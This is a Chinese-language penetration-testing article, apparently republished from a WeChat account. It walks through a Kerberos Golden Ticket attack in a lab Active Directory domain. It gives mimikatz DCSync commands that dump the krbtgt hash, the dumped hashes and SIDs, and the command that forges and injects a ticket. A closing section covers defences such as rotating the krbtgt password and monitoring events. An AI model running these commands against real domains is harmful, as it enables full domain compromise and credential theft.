内网域渗透 | 黄金票据攻击(Golden Ticket Attack)
2022-10-10 18:18:30 Author: 渗透安全团队(查看原文) 阅读量:6 收藏

0x01 前言

Kerberos认证原理网上讲的有很多很详细,在此就不赘述,直接实战过程。

域控:

IP:192.168.3.142域名:0day.org主机名:OWA2010SP3用户名:administrator密码:Admin12345

域机器:

IP:192.168.3.68域名:0day.org用户名:administrator密码:admin[email protected]#45

黄金票据利用条件:

1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

0x02 获取Krbtgt的NTLM Hash

利用mimikatz获取Krbtgt的NTLM HASH、SID等信息

mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:0day.org /user:krbtgt" "exit"

提取部分信息:

SAM Username         : krbtgtAccount Type         : 30000000 ( USER_OBJECT )User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )Account expiration   : Password last change : 2019/5/19 6:40:46Object Security ID   : S-1-5-21-1812960810-2335050734-3517558805-502Object Relative ID   : 502
Credentials: Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2 ntlm- 0: 36f9d9e6d98ecf8307baf4f46ef842a2 lm - 0: 47c5bb5ef18a11f910970a60ecd6c95b
Supplemental Credentials:* Primary:Kerberos-Newer-Keys * Default Salt : 0DAY.ORGkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9 aes128_hmac (4096) : ee76ee32ff14974d8a6248c52f1bfe97 des_cbc_md5 (4096) : bf571a26da68d6f8

我们需要用到的信息如下:

Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2
SID   : S-1-5-21-1812960810-2335050734-3517558805-502

在未注入票据前我们dir看一下发现域成员机器是查看不到域控的共享信息

0x03 部分命令

net group "domain admins" /domain   //查询域管理员命令wmic useraccount get name,sid   //获取域SIDwhoami /user   //获取当前用户的SID
Mimikatz命令格式如下:kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt示例:kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi

/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť/ user ---伪造的用户名/ groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-100)。Mimikatz默认值是0/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。/ aes128 - AES128密钥/ aes256 - AES256密钥
黄金票默认组:域用户SID:S-1-5-21 <DOMAINID> -513域管理员SID:S-1-5-21 <DOMAINID> -512架构管理员SID:S-1-5-21 <DOMAINID> -518企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520

获取域SID命令:

wmic useraccount get name,sid

C:\Users\Administrator>wmic useraccount get name,sidName                 SIDAdministrator         S-1-5-21-1812960810-2335050734-3517558805-500Guest                 S-1-5-21-1812960810-2335050734-3517558805-501krbtgt               S-1-5-21-1812960810-2335050734-3517558805-502SM_32dfa537f3d34e8db S-1-5-21-1812960810-2335050734-3517558805-1119SM_b9293dd4eb974c39a S-1-5-21-1812960810-2335050734-3517558805-1120SM_a53ca95cbbc2400a8 S-1-5-21-1812960810-2335050734-3517558805-1121SM_cabbcb1fa25c4786a S-1-5-21-1812960810-2335050734-3517558805-1123itadmin               S-1-5-21-1812960810-2335050734-3517558805-1125antivirus             S-1-5-21-1812960810-2335050734-3517558805-1126mary                 S-1-5-21-1812960810-2335050734-3517558805-1127jerry                 S-1-5-21-1812960810-2335050734-3517558805-1128hr                   S-1-5-21-1812960810-2335050734-3517558805-1129lowser               S-1-5-21-1812960810-2335050734-3517558805-1131jack                 S-1-5-21-1812960810-2335050734-3517558805-1133alan                 S-1-5-21-1812960810-2335050734-3517558805-1134tadmin               S-1-5-21-1812960810-2335050734-3517558805-1136boss                 S-1-5-21-1812960810-2335050734-3517558805-1137dev                   S-1-5-21-1812960810-2335050734-3517558805-1138backup               S-1-5-21-1812960810-2335050734-3517558805-1140sqlsvr               S-1-5-21-1812960810-2335050734-3517558805-1141sqladmin             S-1-5-21-1812960810-2335050734-3517558805-1142webadmin             S-1-5-21-1812960810-2335050734-3517558805-1143ftpuser               S-1-5-21-1812960810-2335050734-3517558805-1153websvr               S-1-5-21-1812960810-2335050734-3517558805-1158klion                 S-1-5-21-1812960810-2335050734-3517558805-1159klionsec             S-1-5-21-1812960810-2335050734-3517558805-11610day                 S-1-5-21-1812960810-2335050734-3517558805-1162test                 S-1-5-21-1812960810-2335050734-3517558805-1163Redteamer             S-1-5-21-1812960810-2335050734-3517558805-1169RedTeamBox           S-1-5-21-1812960810-2335050734-3517558805-1171secretary             S-1-5-21-1812960810-2335050734-3517558805-1173

获取当前用户的SID

whoami /user

查询域管理员账号

net group "domain admins" /domain

0x04 金票传递

我们之前已经获取到了域控的SID以及NTLM Hash等信息,接下来利用mimikatz生成包含krbtgt身份的票据,命令执行成功会在当前目录下生成kirbi文件

kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi  /admin:伪造的用户名 /domain: 域名 /sid:SID值 /krbtgt:krbtgt的HASH值 /ticket:生成的票据名称

票据传递并注入内存

注入成功,查看注入的票据。发现票据已经在内存中了

kerberos::tgt

获取域控权限

清除当前主机会话中的票据:

kerberos::purge

0x05 黄金票据(Golden Ticket Attack)防御

1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。4.侦测监视异常的Kerberos活动,例如Windows登录/注销事件(事件ID 4624、4672、4634)中的格式错误或空白字段,TGT中的RC4加密以及TGS请求,而无需前面的TGT请求。监视TGT票证的生存期,以获取与默认域持续时间不同的值。

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球

星球的最近主题和星球内部工具一些展示

欢 迎 加 入 星 球 !

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247493481&idx=2&sn=56cefaad66a51ceca71d88bec36b4ce4&chksm=c1761ac6f60193d03fbd9a015a9fb11a7b6f135c2fedcf20498079295d64383f5d79b729a231#rd
如有侵权请联系:admin#unsafe.sh